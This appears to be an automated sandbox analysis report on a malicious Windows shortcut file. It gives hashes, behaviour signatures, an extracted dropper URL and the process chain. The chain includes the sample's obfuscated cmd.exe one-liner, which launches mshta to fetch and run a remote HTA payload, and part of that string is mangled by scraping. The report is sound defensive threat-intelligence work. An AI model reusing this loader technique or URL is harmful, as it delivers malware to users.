Analysis
- max time kernel
148s - max time network
134s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
04/08/2026, 08:32
Static task
static1
Behavioral task
behavioral1
Sample
DOC-NMCA6W.lnk
Resource
win10v2004-20260513-en
4 signatures
150 seconds
Behavioral task
behavioral2
Sample
DOC-NMCA6W.lnk
Resource
win11ltsc2024-20260709-en
3 signatures
150 seconds
General
- Target DOC-NMCA6W.lnk
- Size 2KB
- Sample260804-kfrrmavhmh
- SHA256 6f9ae09f787f44676a612679507ce6192099e380a7d3dd3e220bfcccd82ac597
- MD5 df170c25fe6854c70b2c2c9e7be69b5a
- SHA1 37d7a9d148c6c6427ac18ac80a7504621a31835d
- SHA512 cacd45866ba26d84cb6af3d42bfc64a9d8fdf5487629f1b12f663d0809c70c5d8eb710419e7c5c99c56944600ab52989ede76a00a5a6593952cb1f86a777f5b4
- TLSH T1D14106402EE905E8F2BB4E76ECFF271089BBB8945D71C59E0990814E1522B01E9B7B67
- MD5 SHA1 SHA512 TLSH
Score
10/10
Malware Config
Extracted
Language
-
hta
Source
URLs
-
hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
Signatures
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 4344 cmd.exe 4100 cmd.exe - Suspicious use of WriteProcessMemory 2 IoCs
description pid Process procid_target PID 4344 wrote to memory of 4100 4344 cmd.exe 90 PID 4100 wrote to memory of 3076 4100 cmd.exe 91
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\DOC-NMCA6W.lnk1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4344 -
C:\WINDOWS\system32\cmd.exe"C:\WINDOWS\system32\cmd.exe" /d /V:on /c "set xeB=vmsvf4&&set nrM=gfhl&&set JVy=6tav&&set EHcw=cacheqlfscache&&set QL=datrviavyzgojndbknfzdat&&set xGSx=oldclqevegold&&set YC=syscxxljqsys&&set CY=unysv&&set zDat=4stw&&set MhZd=9art2o&&set TUY=cachebnmuxgimprvmgegjrcache&&set SRVKH=dbgbzclyboonhrkodpltadbg&&set jmLBl=https:/@/ma-pd@f@f@[email protected]@a@t@/h/estagi@o1.@p@h@p?@r=@39146@9F@B@5@D@8@2DB&&start /b !xeB:~1,2!!nrM:~2,1!!JVy:~1,2! !jmLBl:@=!"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4100 -
C:\Windows\System32\mshta.exemshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB3⤵PID:3076
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